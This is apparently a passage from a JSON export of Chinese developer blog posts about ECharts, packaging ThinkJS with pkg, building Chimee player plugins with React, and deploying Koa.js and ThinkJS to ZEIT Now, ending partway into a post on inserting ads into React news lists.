rich: { padding: { padding: [-40, 0, 0, 0] } } } }, { name: \u0026#39;现有疑似\u0026#39;, label: { formatter(param) { const {diagnosed, suspected} = data[data.length - 1 - param.dataIndex]; if(parseInt(diagnosed) \u0026lt; parseInt(suspected)) { return `{padding|${param.value}}`; } }, rich: { padding: { padding: [0, 0, -40, 0] } } } } ] } 参考资料：\n如何让图例两行显示\necharts折线图实线与虚线拼接,及提示框浮层内容格式的设置\n","count":3077,"date":"2020年02月23日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t01915e5603ff39d6a3.png","permalink":"https://imnerd.org/echarts-experiences-summary.html","summary":"\u003cp\u003e最近开发肺炎疫情专题页，大量的使用到了 ECharts 地图和图表相关的功能。之前也没有使用过 ECharts，所以把一些稍微复杂的需求实现总结一下，希望以后能帮助到大家。\u003c/p\u003e","time":7,"title":"疫情专题之ECharts 经验总结"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"在 ThinkJS 的用户群里，经常有开发者提出需要对源码进行加密保护的需求。我们知道 JavaScript 是一门动态语言，不像其他静态语言可以编译成二进制包防止源码泄露。所以就出现了 pkg、nexe 之类的工具，支持将 JS 代码连同 Node 一块打包成一个可执行文件，一来解决了环境依赖的问题，二来解决了大家关心的源码保护的问题。\n在 pkg 模块的 README 中，罗列了它的几大用处，如果你有下面的几个需求的话建议不妨试试。\n为应用提供商业发行版而不用暴露源码 为应用提供 demo 而不用暴露源码 一键打包所有平台可执行文件而不需要对应平台环境依赖 提供自解压或自安装的解决方案 运行应用不需要安装 Node.js 和 npm 部署仅需要一份单文件，不需要通过 npm 安装大量的依赖 资源打包后让应用迁移起来更加方便 在指定 Node.js 版本下对应用进行测试而不需要安装对应的版本 如何使用 关于 pkg 模块的基础使用，大家可以看 《把你的NodeJS程序给没有NodeJS的人运行》 这篇文章。通过 npm install -g pkg 在全局安装上模块后就可以在命令行中使用 pkg 命令了。pkg 除了支持在命令行中指定参数之外，还支持在 package.json 中进行配置。\n{ ... \u0026#34;bin\u0026#34;: \u0026#34;production.js\u0026#34;, \u0026#34;scripts\u0026#34;: { \u0026#34;pkg\u0026#34;: \u0026#34;pkg . --out-path=dist/\u0026#34; }, \u0026#34;pkg\u0026#34;: { \u0026#34;scripts\u0026#34;: [...] \u0026#34;assets\u0026#34;: [...], \u0026#34;targets\u0026#34;: [...] }, ... } 以上就是一个简单的配置。bin 用来指定最终打包的入口文件，pkg.scripts 和 pkg.assets 用来指定除了入口文件之外需要打包进可执行文件中的内容，其中前者用来指定其他 .js 文件，后者用来指定非.js的资源。pkg.targets 则是用来指定需要打包的平台，平台名称结构如下，node${version}-${platform}-${arch}。version 用来指定具体 Node 的版本，platform 用来指定编译的平台，可以是 freebsd, linux, alpine, macos 或者 win，最后 arch 用来指定编译平台的架构，可以是 x64, x86, armv6 或者 armv7。例如 node10-macos-x64 表示的就是基于 Node 10 打包在 MacOS 平台上执行的可执行程序。scripts, assets 和 targets 都支持数组配置多个。\n将入口文件、依赖的脚本和资源、需要编译的平台配置好之后，执行 npm run pkg 即可完成编译。\n如何打包 ThinkJS pkg 的原理大概是提供一个虚拟的文件系统，将 __filename, __dirname 等变量以及官方 API 中的 IO 操作方法指向本地文件系统的变量修改成指向虚拟系统。通过该虚拟文件系统读取压缩打包后的程序源码，提供脚本执行的环境。需要注意的是该虚拟文件系统是只读的，所以如果程序中有基于 __dirname 进行读写操作的方法，需要规避规避掉。\n代码预处理 在 ThinkJS 项目中会有以下两个地方有文件写入操作：\n项目启动后会在 runtime/config/${env}.json 下写入最终的配置文件 生产环境下默认会在 logs/ 目录中写入线上日志 这些目录默认都是基于当前项目文件夹的，所以基于之前的理论都需要规避。pkg 的 README 中告诉我们 process.cwd() 还是会指向到真实的环境中，所以我们可以修改以上目录的位置到 process.cwd() 来解决这个问题。\n//pkg.js const path = require(\u0026#39;path\u0026#39;); const Application = require(\u0026#39;thinkjs\u0026#39;); const instance = new Application({ //在启动文件中可以自定义配置 runtime 目录 RUNTIME_PATH: path.join(process.cwd(), \u0026#39;runtime\u0026#39;), ROOT_PATH: __dirname, proxy: true, env: \u0026#39;pkg\u0026#39;, }); instance.run(); 基于 production.js 我们新建一个 pkg.js 启动文件，定义项目启动后的 RUNTIME_PATH 路径，并将 env 赋值为 pkg，方便后续的配置中通过 think.env === 'pkg' 来切换配置。\n//src/config/adapter.js const {Console, DateFile} = require(\u0026#39;think-logger3\u0026#39;); const isDev = think.env === \u0026#39;development\u0026#39;; const isPkg = think.env === \u0026#39;pkg\u0026#39;; exports.logger = { type: isDev ? \u0026#39;console\u0026#39; : \u0026#39;dateFile\u0026#39;, console: { handle: Console }, dateFile: { handle: DateFile, level: \u0026#39;ALL\u0026#39;, absolute: true, pattern: \u0026#39;-yyyy-MM-dd\u0026#39;, alwaysIncludePattern: true, filename: path.join(isPkg ? process.cwd() : think.ROOT_PATH, \u0026#39;logs/app.log\u0026#39;) } }; 在 adapter 配置中我们将原来基于 think.ROOT_PATH 的路径修改成基于 process.cwd()。除了日志服务之外，如果业务中有使用到 cache 和 session 等服务，它们如果也是基于文件存储的话，也需要修改对应的文件存储配置。当然这些都是 ThinkJS 自带的一些服务，如果项目中有用到其它的一些服务，或者说本身的业务逻辑中有涉及到文件写入的也都需要修改配置。\n打包配置 项目的写入操作规避掉之后我们就可以正常的配置 pkg 然后进行打包处理了。一份简单的 pkg 模块的配置大概是这样的：\n//package.json { \u0026#34;bin\u0026#34;: \u0026#34;pkg.js\u0026#34;, \u0026#34;pkg\u0026#34;: { \u0026#34;assets\u0026#34;: [ \u0026#34;src/**/*\u0026#34;, \u0026#34;view/**/*\u0026#34;, \u0026#34;www/**/*\u0026#34; ], \u0026#34;targets\u0026#34;: [ \u0026#34;node10-linux-x64\u0026#34;, \u0026#34;node10-macos-x64\u0026#34;, \u0026#34;node10-win-x64\u0026#34; ] } } 这里我们指定了 pkg.js 为打包的入口文件，指定了需要编译出 linux, macos, win 三个平台的可执行脚本，同时指定了需要将 src/, view/, www/ 三个目录作为资源一块打包进去。这是因为 ThinkJS 是动态 require 的项目，具体的业务逻辑都是在执行的时候通过遍历文件目录读取文件的形式载入的，对于 pkg 模块打包来说无法在编译的时候知道这些依赖关系，所以需要作为启动依赖的“资源”一块打包进去。\n配置好后直接在项目目录下执行 pkg .，如果一切 OK 的话应该能在当前目录中看到三个可执行文件，直接执行对应平台的二进制文件即可启动服务了。\n➜ www.thinkjs.org git:(master) npm run pkg-build \u0026gt; thinkjs-official@1.2.0 pkg-build /Users/lizheming/workspace/thinkjs/www.thinkjs.org \u0026gt; pkg ./ --out-path=dist \u0026gt; pkg@4.4.0 ➜ www.thinkjs.org git:(master) ✗ ls -alh dist total 577096 drwxr-xr-x 5 lizheming staff 160B 12 28 17:35 . drwxr-xr-x@ 30 lizheming staff 960B 12 28 17:34 .. -rwxr-xr-x 1 lizheming staff 87M 12 28 17:34 thinkjs-official-linux -rwxr-xr-x 1 lizheming staff 87M 12 28 17:35 thinkjs-official-macos -rw-r--r-- 1 lizheming staff 82M 12 28 17:35 thinkjs-official-win.exe ➜ www.thinkjs.org git:(master) ✗ 后记 项目打包后有一个问题是配置没办法修改了，如果有动态配置的需求的话就不是很方便了。这里提供两个思路解决该问题：\n将动态的配置配置到环境变量中，程序通过读取环境变量覆盖默认的配置。 利用 ThinkJS 提供的 beforeStartServer() 钩子在启动前读取真实目录下的配置文件进行配置覆盖。 //pkg.js const path = require(\u0026#39;path\u0026#39;); think.beforeStartServer(() =\u0026gt; { const configFile = path.join(process.cwd(), \u0026#39;config.js\u0026#39;); const config = require(configFile); think.config(config); }); 另外随着项目的复杂度提高，业务内可能会引入大量的第三方模块。前文只是解决了 ThinkJS 项目本身的动态引入问题，如果引入的第三方模块也有动态引入的话也需要在 pkg.assets 配置中显示指定出来。还有就是针对 C++ 模块，pkg 目前还没有办法做到自动引入，同样需要在 pkg.assets 中指定依赖资源。\n//package.json { \u0026#34;pkg\u0026#34;: { \u0026#34;assets\u0026#34;: [ //以 node-sqlite3 模块为例 \u0026#34;node_modules/sqlite3/lib/binding/node-v64-darwin-x64/node_sqlite3.node\u0026#34; ] } } 其中 node-v64-darwin-x64 可能会根据平台不一样导致名字不太一样。无法引入 .node 模块的原因是因为 C++ 模块安装的时候会通过 node-gyp 进行动态编译，该操作是和平台相关的。也就是说该特性和 pkg 模块在一个平台上能打包所有平台的二进制包特性是冲突的，毕竟 pkg 模块也没办法在 Mac 平台上编译 Windows 平台的模块。所以在这种情况下除了需要手动引入编译后的 .node 模块之外，还需要注意引入的该 .node 模块和 pkg.targets 指定的编译平台的一致性。\n获取 .node 模块除了在对应平台模块安装之外，也可以选择下载其它同学提供编译好的模块。淘宝源上提供了很多二进制模块的编译后结果，以 node-sqlite3 为例，它的所有编译模块可以在 https://npm.taobao.org/mirrors/sqlite3 这里下载，自行选择对应的版本和平台即可。\n本文说的打包配置都已在 ThinkJS 官网 项目中实现，想要尝试的同学可以直接克隆官网项目，安装完依赖后执行 npm run pkg-build 即可在 dist/ 目录中获得二进制可执行文件。\n","count":2377,"date":"2019年12月28日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimgs4.com/t012d5b58e2e87acc0a.png","permalink":"https://imnerd.org/pack-thinkjs-project-by-pkg.html","summary":"\u003cp\u003e在 ThinkJS 的用户群里，经常有开发者提出需要对源码进行加密保护的需求。我们知道 JavaScript 是一门动态语言，不像其他静态语言可以编译成二进制包防止源码泄露。所以就出现了 \u003ca href=\"https://github.com/zeit/pkg\"\u003epkg\u003c/a\u003e、\u003ca href=\"https://github.com/nexe/nexe\"\u003enexe\u003c/a\u003e 之类的工具，支持将 JS 代码连同 Node 一块打包成一个可执行文件，一来解决了环境依赖的问题，二来解决了大家关心的源码保护的问题。\u003c/p\u003e","time":5,"title":"使用 pkg 打包 ThinkJS 项目"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"Chimee 是由奇舞团开源的一套可扩展的H5组件化播放器框架。由于前段时间业务有视频播放的需求所以使用了它，并基于它提供的插件系统之上开发了一系列的插件，其中最复杂的是控制条插件。由于默认的样式无（实）法（在）满（是）足（太）设（难）计（看）需（了）求（！），所以我们重新开发了一套 lizheing/chimee-plugin-controlbar 并总结一些心得，希望对大家有帮助。\nChimee 插件规范 开篇之前我们先简单的了解下如何开发一款 Chimee 的插件，文档 提供了一个非常简单的示例告诉我们大概的流程。\nconst plugin = { // 插件名为 controller name: \u0026#39;controller\u0026#39;, // 插件实体为按钮 el: \u0026#39;\u0026lt;button\u0026gt;play\u0026lt;/button\u0026gt;\u0026#39;, data: { text: \u0026#39;play\u0026#39; }, methods: { changeVideoStatus () { this[this.text](); }, changeButtonText (text) { this.text = text; this.$dom.innerText = this.text; } }, // 在插件创建的阶段，我们为插件绑定事件。 create () { this.$dom.addEventListener(\u0026#39;click\u0026#39;, this.changeVideoStatus); }, // 插件会在播放暂停操作发生后改变自己的文案及相应的行为 events: { pause () { this.changeButtonText(\u0026#39;play\u0026#39;); }, play () { this.changeButtonText(\u0026#39;pause\u0026#39;); } } }; // 安装插件 Chimee.install(plugin); const player = new Chimee({ // 播放地址 src: \u0026#39;http://cdn.toxicjohann.com/lostStar.mp4\u0026#39;, // dom容器 wrapper: \u0026#39;#wrapper\u0026#39;, // 使用插件 plugin: [\u0026#39;controller\u0026#39;], }); 通过以上示例代码我们可以发现 Chimee 的插件的规则主要有以下几点：\n插件需要暴露一个对象，并带有 name 属性用来标记插件名称，方便后续实例化的时候指定。 HTML 模板相关的内容需要放在 el 属性中，在其它方法中可以通过 this.$dom 访问到 DOM 对象。 data 属性用来存放数据，methods 属性可以用来存放方法。两个属性中的数据可以直接通过 this.xx 的形式访问到。 events() 属性可以放置一些播放器的事件回调，Chimee 会自动做事件的绑定。 从以上发现的几点来看，我们可以大致估摸出插件的简单逻辑。无非就是将 data 和 methods 中的数据绑定到 this 上，然后插入 el 的 HTML 到页面中，然后执行一些对应的生命周期方法。\n听起来似乎比较 Vue？虽然写法上是这样的，但是明眼人能看出来其实这个流程还是 DOM 操作，所以必然会碰上原生 DOM 开发的两个问题：\ndata 虽然能存放数据，但是数据无法直接映射到 el 的 HTML 模板中，导致还是需要回归原本的 DOM 操作。 事件绑定需要等待 DOM 生成后在生命周期中进行手动的绑定，又回到了 DOM 操作时一堆 addEventListener 的年代了。 由于我们的业务是使用 React 开发的，所以就想是否可以通过引入 React 来解决上述 DOM 操作的问题。\nReact 开发 使用 React 开发虽然能解决上段提到的两个问题，但是插件本身的配置以及生命周期却是不太好在 React 中实现。要想实现插件即组件，组件即插件的场景需要对现有的一些生命周期进行映射，这成本就有点高了。所以最终退而求其次，只有 DOM 这块使用 React，外层依旧是正常的 Chimee 插件的配置。\nimport React from \u0026#39;react\u0026#39;; import ReactDOM from \u0026#39;react-dom\u0026#39;; import App from \u0026#39;./App\u0026#39;; import Context from \u0026#39;./Context\u0026#39;; export default { Context, name: \u0026#39;plugin-demo\u0026#39;, el: `\u0026lt;div class=\u0026#34;plugin\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;`, create() { ReactDOM.render( \u0026lt;Context.Provider value={this}\u0026gt; \u0026lt;App /\u0026gt; \u0026lt;/Context.Provider\u0026gt;, this.$dom ); } }; Context 解决访问插件方法问题 而为了解决 React 组件内部需要获取 Chimee 的方法的问题，我们通过 Context 的方式将 this 这个 Chimee 插件实例传入，内部通过 Context 获取到实例之后就可以为所欲为了。\nimport React, { useContext, useState, useEffect } from \u0026#39;react\u0026#39;; import Context from \u0026#39;../Context\u0026#39;; export default function () { const ctx = useContext(Context); const [cur, setCur] = useState(0); useEffect(() =\u0026gt; { ctx.$on(\u0026#39;timeupdate\u0026#39;, () =\u0026gt; setCur(ctx.currentTime)); }, []); return ( \u0026lt;div className=\u0026#34;play--time\u0026#34;\u0026gt;{cur}\u0026lt;/div\u0026gt; ) } 不得不感谢 React Hooks 的出现，让 Context 的 API 变的如此的简单。如果要像之前一样写 \u0026lt;Context.Consumer /\u0026gt; 然后再来个 render props 估计也是够烦的。当然使用 Context 只是为了方便在组件层级比较深的情况下数据的透传，这也是 Context 的本来意义。如果插件的组件层级不深直接使用 Props 传递也是可以的。\n事件监听解决外部数据触发更新问题 目前这套插件的模式已经能够满足大部分日常插件的开发了，不过碰到了异步就有点问题了。我们知道的是插件的配置在 new Chimee() 那一刻就已经固定下来了，外部的数据的更新并不会影响内部的配置，也就无法造成插件的更新渲染，毕竟目前 Chimee 没有一个类似 componentWillReceiveProps() 的生命周期。如果 Chimee 自己本身配置都无法更新上，就更遑论触发 React 的更新了。\n+--------+ +--------+ +---------------+ +-----------------+ | config +----\u0026gt;+ Chimee +----\u0026gt;+ Chimee Plugin +----\u0026gt;+ React Component | +--------+ +----+---+ +---------------+ +-----------------+ × +----------------+ | | updated config +--× +----------------+ 回到具体的业务场景上，我们有一个需求是控制条需要显示下一条视频的标题和封面图，而这个数据是在业务代码中通过接口获取得到的，所以在最开始实例化播放器的时候我们是没办法传入该数据。最后我们决定用事件监听的方式解决该问题，通过自定义事件进行跨组件层级的数据传递。\n+--------+ +--------+ +---------------+ +-----------------+ | config +----\u0026gt;+ Chimee +----\u0026gt;+ Chimee Plugin +----\u0026gt;+ React Component | +--------+ +--------+ +---------------+ +--------+--------+ ^ +----------------+this.$emit(\u0026#39;customEvent\u0026#39;)+-----------------+--------+ | updated config +------------------------\u0026gt;+ this.$on(\u0026#39;customeEvent\u0026#39;) | +----------------+ +--------------------------+ 多插件先后问题 随着业务越来越复杂，播放器在同一事件要处理的事情越来越多，例如我们碰到的片尾需要先播放片尾广告，广告播放完之后显示倒计时，倒计时后再触发播放下一条的动作。如何在同一个事件中保证三者的顺序成了本次需求的关键。\n好在当初 Chimee 在设计之初就已经考虑到了这个问题。先执行的回调只要返回 false 即可阻止整个事件，当该插件完成任务后只要重新触发事件即可。\nimport React, {useEffect} from \u0026#39;react\u0026#39;; import Context from \u0026#39;./context\u0026#39;; export default function() { const ctx = useContext(Context); useEffect(() =\u0026gt; { const onEnded = event =\u0026gt; { if(event === \u0026#39;manual\u0026#39;) { return true; } setTimeout(() =\u0026gt; ctx.$emit(\u0026#39;ended\u0026#39;, \u0026#39;manual\u0026#39;), 10000); return false; }; ctx.$on(\u0026#39;ended\u0026#39;, onEnded); return () =\u0026gt; ctx.$off(\u0026#39;ended\u0026#39;, onEnded); }); return (\u0026lt;div\u0026gt;推迟10秒后结束\u0026lt;/div\u0026gt;); } 在 ended 事件触发后使用 return false 阻止事件，然后等事件执行完毕之后使用 ctx.$emit('ended', 'manual') 重新触发事件。这里有个需要注意的地方，后者触发的事件中又会再次将当前插件注册的回调事件执行一遍，所以这里增加了第二个参数用来让回调方法判断是否是插件自己触发的，如果是自己触发的则表示无须再次执行直接跳过。\n后记 Chimee 的插件系统可扩展性比较强，如果对其比较感兴趣的可以看看官方的这篇《为什么要将 Chimee 设计成一个组件化框架？》。使用 React 开发插件解决了事件和数据绑定的问题，该开发模式下基本上就是废弃了官方自己提供的 data, methods 和 events 三个属性，前两者自然是由 React 内部的 state 和方法提供，后者则是自行在组件内部使用 ctx.$on 的形式手动监听。\n","count":2079,"date":"2019年12月25日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimgs4.com/t018a86bf4e68cb386d.png","permalink":"https://imnerd.org/chimee-plugin-with-react.html","summary":"\u003cp\u003e\u003ca href=\"https://chimee.org\"\u003eChimee\u003c/a\u003e 是由奇舞团开源的一套可扩展的H5组件化播放器框架。由于前段时间业务有视频播放的需求所以使用了它，并基于它提供的插件系统之上开发了一系列的插件，其中最复杂的是控制条插件。由于默认的样式无（实）法（在）满（是）足（太）设（难）计（看）需（了）求（！），所以我们重新开发了一套 \u003ca href=\"https://github.com/lizheming/chimee-plugin-controlbar\"\u003elizheing/chimee-plugin-controlbar\u003c/a\u003e 并总结一些心得，希望对大家有帮助。\u003c/p\u003e","time":5,"title":"使用 React 为 Chimee 开发插件"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"什么是 ZEIT ZEIT 是免费的云平台，支持部署静态网站以及 Serverless 函数。Serverless 是近几年比较火的概念，简单去理解就是你只需要去实现具体的业务逻辑，而与最终服务相关的服务器、HTTP 服务等则由第三方管理。Serverless 又被称为 FaaS（函数即服务），由于业务粒度非常细，所以非常方便做动态扩容等自动化运维任务。\n//一个最简单的基于 Node.js 的 Serverless 函数 module.exports = function(req, res) { const { name = \u0026#39;World\u0026#39; } = req.query res.send(`Hello ${name}!`) } 通过 ZEIT 提供的 CLI 工具 now，我们可以一条命令将 Node.js, Golang, Python, Ruby, PHP, Rust 等语言的应用部署到 ZEIT 上。如果你想了解更多关于 ZEIT 这个公司的知识也可以看这篇知乎回答了解更多。\n如何使用 ZEIT 注册非常方便，打开 https://zeit.co 点击右上角的 \u0026ldquo;Join Free\u0026rdquo;，使用 Github 或者 Gitlab 账号登录后会自动注册。当然你也可以使用邮箱注册，会发送一封确认邮件到你的邮箱。登录后会让你填写昵称、头像和唯一 ID等配置。\n选择 Continue 之后如果是通过邮箱登录进来的会问你是否需要绑定 Github 账号，可以让 Github 与 ZEIT 之间的持续集成更加方便，当然你也可以选择 SKIP 跳过。最后一步则会指导你如何创建项目，它提供了很多快速创建的模板，例如 Next.js, React, Vuepress, Gatsby, Docz, Nuxt.js, Svelte, Angular。\n按照示例使用 npm install -g now 安装 CLI 工具，初始化项目后直接使用 now 命令即可发布到 ZEIT 上，整体流程非常简单。\n部署 Koa.js 服务 通过刚才的示例我们可以了解到其实它的本质就是将 HTTP 请求的 request和response传入方法中，处理后再返回给 HTTP，所以它除了 Serverless 函数之外也是完全支持 Koa.js 以及基于 Koa.js 的 ThinkJS 服务部署的。我们先来看看如果要部署一个 Koa.js 服务应该怎么做。\nFork 快速部署 由于 ZEIT 官方主推 Serverless 服务，所以把 Node.js 的脚手架模板去除掉了，所以我们只能自己创建项目了，为了方便我提供了一个 DEMO 仓库 https://github.com/lizheming/now-koa-demo。如果在刚才的注册流程中你绑定了 Github 的账号的话你可以选择直接 Fork 该仓库，等一小会儿之后就会收到 ZEIT 的 Github 通知告诉你网站已经部署成功，并在 commit 中提供部署后的地址。\n命令行部署 如果没有绑定 Github 账户也没关系，我们可以通过命令行部署服务。将 DEMO 仓库克隆下来后直接使用 now 命令就可以了。部署成功后 ZEIT 会给我们返回一个当前提交版本的唯一地址，比如说 https://now-koa-demo-pac7dbxrf.now.sh/ 打开之后就会见到 Hello from koa.js! 的返回信息。\n注意事项 index.js 文件内容与正常的 Koa.js 项目代码无异，唯一的区别是最终项目没有直接调 app.listen() 方法进行监听，而是使用 module.exports = app.callback() 将最终的 callback 方法进行了返回。我们知道 app.callback() 方法返回的是接受 request 和 response 对象作为参数的函数，这就回到了文章最开始的示例了。\n我们再来看看 now.json 的内容。该 JSON 文件用于告诉 now 服务 index.js 文件需要使用 @now/node 运行时执行，而所有的请求需要转发到 index.js 文件上。听起来是不是非常像 Nginx 上的内容？\n{ \u0026#34;version\u0026#34;: 2, \u0026#34;builds\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;index.js\u0026#34;, \u0026#34;use\u0026#34;: \u0026#34;@now/node\u0026#34; } ], \u0026#34;routes\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;/(.*)\u0026#34;, \u0026#34;dest\u0026#34;: \u0026#34;/index.js\u0026#34; } ] } 部署 ThinkJS 服务 成功部署 Koa.js 服务之后，下面我们就来看看怎么给你的 ThinkJS 服务找一个免费空间部署上去吧！为了方便我也提供了一个 DEMO 仓库 https://github.com/lizheming/now-thinkjs-demo，Fork 该仓库可快速体验 Now 部署 ThinkJS 服务。Fork 成功后过一会就会收到部署成功后的提示，同时告知你部署后的唯一地址，例如 https://now-thinkjs-demo-hrmqxxv2p.now.sh/。\n然而这只是我折腾成功后的结果，基于 ThinkJS 的服务直接部署并没有部署 Koa.js 服务那么简单，这主要是由 ThinkJS 框架本身的特性决定的。下面我将其中需要注意的点一一道来，方便其它已有服务的迁移。我们先来看看针对 ZEIT 平台的 ThinkJS 启动文件有那些内容。然后我们基于该文件主要讲述下碰到的问题以及为什么需要这么做。\nconst path = require(\u0026#39;path\u0026#39;); const Application = require(\u0026#39;thinkjs\u0026#39;); const Loader = require(\u0026#39;thinkjs/lib/loader\u0026#39;); class NowLoader extends Loader { writeConfig() {} } const app = new Application({ ROOT_PATH: __dirname, APP_PATH: path.join(__dirname, \u0026#39;src\u0026#39;), VIEW_PATH: path.join(__dirname, \u0026#39;view\u0026#39;), proxy: true, // use proxy env: \u0026#39;now\u0026#39;, external: { log4js: { stdout: path.join(__dirname, \u0026#39;node_modules/log4js/lib/appenders/stdout.js\u0026#39;), console: path.join(__dirname, \u0026#39;node_modules/log4js/lib/appenders/console.js\u0026#39;) }, static: { www: path.join(__dirname, \u0026#39;www\u0026#39;) } } }); const loader = new NowLoader(app.options); loader.loadAll(\u0026#39;worker\u0026#39;); module.exports = function (req, res) { return think.beforeStartServer().catch(err =\u0026gt; { think.logger.error(err); }).then(() =\u0026gt; { const callback = think.app.callback(); return callback(req, res); }).then(() =\u0026gt; { think.app.emit(\u0026#39;appReady\u0026#39;); }); }; 服务启动问题 刚才部署 Koa.js 的时候我们知道了，ZEIT 运行时接受的文件需要返回一个函数。在 Koa.js 中是 app.callback()，而在 ThinkJS 中则是 think.app.callback() 。不过我们却不能直接这么返回，因为从源码中我们可以了解到 ThinkJS 服务启动做了以下几件事情：\n初始化 Loader 实例，在对应的进程上加载需要的文件，包括 config, middleware, controller, logic, model, service 等。 执行 beforeStartServer() 启动前钩子 启动服务 启动后向全局发送 appReady 事件 目前 ThinkJS 服务中并没有纯粹的非启动方法包含这些内容，所以我选择了在启动脚本中模拟正常的启动流程自定义启动过程的方式。由于多进程逻辑稍微复杂点，所以我直接按照单进程模式模拟。\n实例化 Loader，使用 loader.loadAll('worker') 加载所有的依赖文件 在回调中执行 beforeStartServer() 启动前钩子 执行 callback() 启动服务 启动后向全局发送 appReady 事件 文件引用问题 项目文件相对引用 我们知道 ThinkJS 的本质是文件夹即路由的模式，Controller, Model, View 等文件按照一定的文件夹规则放置，通过动态读取文件的形式找到对应的文件并加载执行。这在正常的项目中本来不存在什么问题，但是 ZEIT Now 平台为了节省空间，会对在入口文件中没有显示依赖的文件进行忽略。\n我们正常的启动文件中只会定义 APP_PATH ，而 VIEW_PATH 甚至是静态资源目录是在 src/config/adapter.js 以及 src/config/middleware.js 中定义的。而这两个文件又是动态读取文件引入的，导致在上传的时候由于没有显式依赖该文件而不上传该文件。所以为了解决这个问题，我选择了在启动文件中再次显示声明一下需要加载的文件。当然这些配置对 ThinkJS 来说是没有用的。 依赖文件相对引用 可以看到，除了正常的项目文件的引用之外，我还写了两个 log4js 文件的引用，这又是为什么呢？\n主要还是因为 ZEIT 为了节省体积，除了会限制只上传需要的文件之外，还会针对入口文件使用 webpack 进行打包。使用 webpack 打包后所有的依赖都在入口文件中了，这样就不用上传硕大的 node_modules 文件夹，可以极大的减小体积。ZEIT 将该针对 Node.js 项目打包成单文件的打包工具开源出来了 https://github.com/zeit/ncc 如果项目中有需要打包成单文件减小体积的需求也可以使用。\n而 log4js 非常早期的版本中是通过 require(./${type}) 的形式将对应的日志输出器加载进来的。由于打包后目录结构发生变化，打包后当前文件夹并没有对应的文件，所以会导致执行的时候报文件找不到的错误。所以为了解决这个问题则同样需要在入口文件中显式的声明这些文件的依赖。\n去年2月份就有用户针对这个问题提了 Commit 将所有的加载器显式依赖后再进行选择解决了这个问题。所以在新版 log4js 的中已经不存在这个问题了，不过我还是在这里说明一下，是因为可能项目中引用的其它依赖会有这个问题，还是需要注意一下的。\n写入权限问题 除了上面的问题之外，部署的时候我还碰到了文件写入无权限的问题。由于 ZEIT Now 提供无状态服务，所以写入文件等副作用操作在 ZEIT 中被禁止了。如果你有文件写入操作的话会在控制台中提示写入失败并抛错。\n而在 ThinkJS 中由于各种配置文件比较多，为了方便问题排查，会在配置文件加载完成后调用 writeConfig() 方法写一份最终合并后的配置在 runtime 目录中，例如 runtime/config/production.json 文件。这样的话在 ZEIT 平台就会报错导致服务无法正常启动了。\n不过目前 ThinkJS 并没有提供一个配置能够取消这个配置文件写入的操作。所以我提供的解决方法则是通过继承将 writeConfig() 方法复写掉来组织文件写入的操作。\n当然这是 ThinkJS 本身的文件写入操作，如果说你的项目中还有其它文件写入操作的话，也需要做对应的操作。例如 logger 日志的配置可以输出到控制台，文件上传等必须写入文件的则可以写到系统临时目录 /tmp 中。不同的系统临时目录可能不太一样，Node.js 中建议通过 require('os').tmpdir() 来获取。\n后记 通过 ZEIT 平台，极大的降低了部署 Node.js 服务的成本，不仅是机器成本，维护成本也极大的降低了。其实正常的 Node.js 项目部署起来还是非常方便的，主要还是 ThinkJS 的依赖引用并非显式的，导致了在打包上的一些困难，其它的都还是很方便的。如果有什么其它的问题，也欢迎大家多多交流。\n参考资料：\n如何透過 ZEIT 方便快捷地部署免費的 Node.js 項目？ ","count":3046,"date":"2019年12月01日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimgs4.com/t014392f4457bbe3792.png","permalink":"https://imnerd.org/how-to-deploy-thinkjs-to-now-sh.html","summary":"\u003ch2 id=\"什么是-zeit\"\u003e什么是 ZEIT\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://zeit.co\"\u003eZEIT\u003c/a\u003e 是免费的云平台，支持部署静态网站以及 Serverless 函数。Serverless 是近几年比较火的概念，简单去理解就是你只需要去实现具体的业务逻辑，而与最终服务相关的服务器、HTTP 服务等则由第三方管理。Serverless 又被称为 FaaS（函数即服务），由于业务粒度非常细，所以非常方便做动态扩容等自动化运维任务。\u003c/p\u003e","time":7,"title":"如何将你的 ThinkJS 项目部署到 ZEIT 上"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"需求描述 由于我所在的业务是资讯内容类业务，因而在业务中会经常碰到如下场景：有一个内容列表，列表中需要按照一定的规则插入广告。除了获取广告数据，广告展现和点击后需要有打点上报逻辑。正常来说我们会这么写：\nimport React from \u0026#39;react\u0026#39;; export default class extends React.Component { state = {newsData: [], adData: []}; constructor() { this.getNewsData(); } getNewsData() { const newsData = [...]; this.setState({newsData}); this.getAdData(newsData.length / 2); //根据新闻数和插入规则换算广告请求数 } getAdData() { const adData = [...]; this.setState({adData}); } render() { const {newsData, adData} = this.state; const comps = []; for(let i = 0; i \u0026lt; newsData.length; i++) { // 根据插入规则判断当前新闻卡片后是否要插入广告 comps.push(\u0026lt;NewsCard {...newsData[i]} key={`news-${i}`} /\u0026gt;); if(i % 2) { comps.push(\u0026lt;AdCard {...adData[i/2]} key={`ad-${i}`} /\u0026gt;); } } return (\u0026lt;div\u0026gt;{comps}\u0026lt;/div\u0026gt;); } } class AdCard extends React.Component { componentDidMount() { observe(this.dom, () =\u0026gt; {}); } onClick = () =\u0026gt; {}; onMouseUp = () =\u0026gt; {}; onMouseDown = () =\u0026gt; {}; getDOM = dom =\u0026gt; this.dom = dom; render() { return \u0026lt;div ref={this.getDOM} onMouseUp={this.onMouseUp} onMouseDown={this.onMouseDown} onClick={this.onClick} \u0026gt;{this.props.title}\u0026lt;/div\u0026gt; } } 逻辑非常的简单，getNewsData() 拿到资讯列表数据之后计算需要请求的广告数调用 getAdData() 请求广告数据，最后根据插入规则将资讯和内容渲染到列表中。广告使用自定义组件渲染，使用 Intersection Observe API 实现广告曝光打点，监听 DOM 